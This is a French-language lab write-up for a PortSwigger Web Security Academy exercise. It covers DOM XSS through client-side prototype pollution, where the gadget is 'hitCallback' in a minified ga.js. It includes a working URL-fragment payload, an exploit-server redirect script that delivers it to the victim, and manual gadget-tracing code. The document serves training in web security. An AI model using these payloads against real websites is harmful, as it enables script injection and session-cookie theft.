> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md).

# Pollution du prototype côté client dans les bibliothèques tierces

Notes sur la pollution du prototype côté client dans les bibliothèques tierces pour les laboratoires de la PortSwigger Web Security Academy, incluant le workflow d’exploitation, les tests de payloads, la validation dans Burp Suite et le contexte de remédi

### Pollution de prototype côté client dans des bibliothèques tierces

#### Contexte du laboratoire

Ce laboratoire est vulnérable à un **XSS DOM via une pollution de prototype côté client**. / La particularité ici est que le **gadget se trouve dans une bibliothèque JavaScript tierce**, dont le code est **minifié**, ce qui rend l'analyse manuelle plus complexe.

Le laboratoire s'inspire de vulnérabilités réelles mises en évidence par **PortSwigger Research**, notamment dans l'article Widespread prototype pollution gadgets par **Gareth Heyes**.

Objectif final :/ \*\* Exécutez `alert(document.cookie)` dans le navigateur de la victime\*\*, en utilisant le serveur d'exploitation fourni.

### Approche recommandée : attaque automatique avec DOM Invader

#### Activation de DOM Invader

1. Ouvrez le navigateur intégré pour **Burp Suite**.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-d625f4b980ff05ac2ee981dbafbd7eb2955cc8c1%2Fimage%20(91).png?alt=media" alt=""><figcaption></figcaption></figure>

* Vérifiez que l' **DOM Invader** extension est active.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf3768a24da0bedae989d42b57b845992477fb3e%2Fimage%20(92).png?alt=media" alt=""><figcaption></figcaption></figure>

Activer :

* **DOM Invader est activé**
* **Type d'attaque : pollution de prototype**

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ca3e288007fc1232a49467b13b395ddb8b615dd3%2Fimage%20(93).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Identification de la source vulnérable

* Dans le **DOM Invader** onglet, une **source de pollution de prototype** est automatiquement détectée.
* DOM Invader indique que la pollution est possible via le \*\* fragment d'URL (`#`)\*\*, et non via les paramètres conventionnels (`?`).

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-be14fd3875d6d4fe4b572a16950c0bd7c46eba10%2Fimage%20(94).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Découverte automatique du gadget

1. Lancer **Analyser les gadgets** depuis DOM Invader.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-26a5ad548d394751e299020260b555900c6c0a77%2Fimage%20(95).png?alt=media" alt=""><figcaption></figcaption></figure>

Un gadget exploitable est identifié dans une bibliothèque tierce.

En cliquant sur **Exploiter**, DOM Invader confirme l'exécution avec un `alert(1)`.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-f9baf266ac3afb989041c05de92699b387d04716%2Fimage%20(97).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1f10f97924c33e1f7586165ca87e2455b7fd2fba%2Fimage%20(96).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Charge utile finale (document.cookie)

Charge utile identifiée par DOM Invader :

```javascript
#constructor[prototype][hitCallback]=alert%28document.cookie%29
```

Cette charge utile déclenche l'alerte contenant les cookies

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-1e2db01e09fe312bd5961de76267f51da4e81d1c%2Fimage%20(98).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Envoi de l'exploit à la victime

Le code suivant est envoyé avec le **serveur d'exploitation**:

```javascript
<script>
    window.location.href = 'https://0aab001004b09f5780ab035a00c40034.web-security-academy.net/#constructor[prototype][hitCallback]=alert%28document.cookie%29';
</script>
```

Lorsque la victime charge la page, du JavaScript est exécuté dans son navigateur

### Approche manuelle (analyse détaillée)

#### Tentatives classiques de pollution (échec)

Les charges utiles suivantes \*\* ne fonctionnent pas\*\* :

```bash
/?__proto__[foo]=bar
/?__proto__.foo=bar
```

Résultat

```javascript
console.log({}.foo); // indéfini
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bb18e5d6bd87b621ba306bac8b703fd99dff75c6%2Fimage%20(99).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Pollution via le fragment d'URL (succès)

Cependant, la pollution \*\* fonctionne avec `#`\*\*:

```javascript
#__proto__[foo]=bar
#__proto__.foo=bar
```

Cela indique que la source vulnérable consomme le fragment d'URL

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-bf6a41e16ee7930c805d3e349f8a834c9063f2b2%2Fimage%20(100).png?alt=media" alt="" width="563"><figcaption></figcaption></figure>

#### Analyse de la bibliothèque tierce

* Un gros fichier est chargé :

/resources/js/ga.js

Environ 3000 lignes de code minifié.

* Ce fichier contient un callback appelé hitCallback, utilisé sans vérification stricte.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-5f5e14d7e1ab8b6397b92cf54df121d6dd0e4aa1%2Fimage%20(101).png?alt=media" alt=""><figcaption></figcaption></figure>

### Identification manuelle du gadget

#### Technique de traçage avec `Object.defineProperty`

Pour trouver les propriétés lues sur `Object.prototype`, nous injectons :

```javascript
Object.defineProperty(Object.prototype, 'YOUR-PROPERTY', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

#### Arrêt de l'exécution JavaScript

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-b582d901a85abad50fcc84cb6a0fc5a59043dbf0%2Fimage%20(102).png?alt=media" alt=""><figcaption></figcaption></figure>

En interceptant la réponse HTML, nous injectons :

```javascript
<script>
    debugger;
</script>
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-e6e976a509e7be5eb20a86283701c0bfcf012439%2Fimage%20(103).png?alt=media" alt=""><figcaption></figcaption></figure>

Le navigateur s'arrête sur \*\*

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-ecdbf4daf035d06b83dba3906bdd872d457da9a0%2Fimage%20(104).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Test des propriétés candidates

Exemple avec une propriété non exploitée

```javascript
Object.defineProperty(Object.prototype, 'anonymizeIp', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Aucune trace intéressante.

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-cd7aed72f01a1de55bf34000bc8eeff781fc8403%2Fimage%20(106).png?alt=media" alt=""><figcaption></figcaption></figure>

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-75f0885f74f91535d29eeb377b4383e5897697ab%2Fimage%20(105).png?alt=media" alt=""><figcaption></figcaption></figure>

#### Découverte d'un gadget valide : `hitCallback`

```javascript
Object.defineProperty(Object.prototype, 'hitCallback', {
    get() {
        console.trace();
        return 'polluted';
    }
})
```

Résultat :

* `console.trace()` révèle une chaîne d'appels depuis `ga.js`
* La propriété est bien **lue et exécutée comme une fonction**

Ce comportement confirme que `hitCallback` est appelée comme callback JavaScript

```javascript
console.trace() debugger eval code:3:17
    get debugger eval code:3
    get https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Vc https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
    j https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    Fa https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:63
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    O https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:36
    push https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:33
    b https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:19
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    Fe https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:84
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-c0b15979f40594902557c9c3362316d0bc94d5e8%2Fimage%20(107).png?alt=media" alt=""><figcaption></figcaption></figure>

Ce comportement confirme que `hitCallback` est appelée comme callback JavaScript

```javascript
Erreur de référence non interceptée : polluted n'est pas défini
    <anonymous> https://0a9e003f03d2b03382d533e900f50079.web-security-academy.net/resources/js/ga.js:21
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-11dd93280be32ce207a0f9af097ba6a18d6ef6c0%2Fimage%20(108).png?alt=media" alt=""><figcaption></figcaption></figure>

* Le `hitCallback` gadget permet une \*\* exécution JavaScript\*\* arbitraire, conduisant à un **XSS DOM**.

```javascript
Zc.prototype.stopPropagation = function () {
      throw 'aborted';
    };
    var Vc = function (a) {
      var b = this;
      this.fb = 0;
      var c = a.get(tc);
      this.Ua = function () {
        0 < b.fb &&
        c &&
        (b.fb--, b.fb || c())
      };
      this.Ja = function () {
        !b.fb &&
        c &&
        setTimeout(c, 10)
      };
      a.set(uc, b, !0)
    };
```

<figure><img src="https://3840167291-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2Fl4EVJpcOrsgjSGsLI7p2%2Fuploads%2Fgit-blob-fc5d88453913b109956a694199f787e312a9cf6b%2Fimage%20(109).png?alt=media" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation by asking a question.

Perform an HTTP GET request on the following URL with the `ask` and `goal` query parameters:

```
GET https://hacking-notes.jord4n.pro/fr/web/prototype-pollution/client-side-prototype-pollution-in-third-party-libraries.md?ask=<question>&goal=<user_goal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is what the user is ultimately trying to achieve, the reason they need the answer. Sharing it helps GitBook give you a better, more relevant answer. A goal is most helpful when it describes the outcome the user wants rather than restating the question. For example, with `ask=how do I create an API token`, a goal like `automate deployments from our CI pipeline` lets GitBook tailor the answer to that use case.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
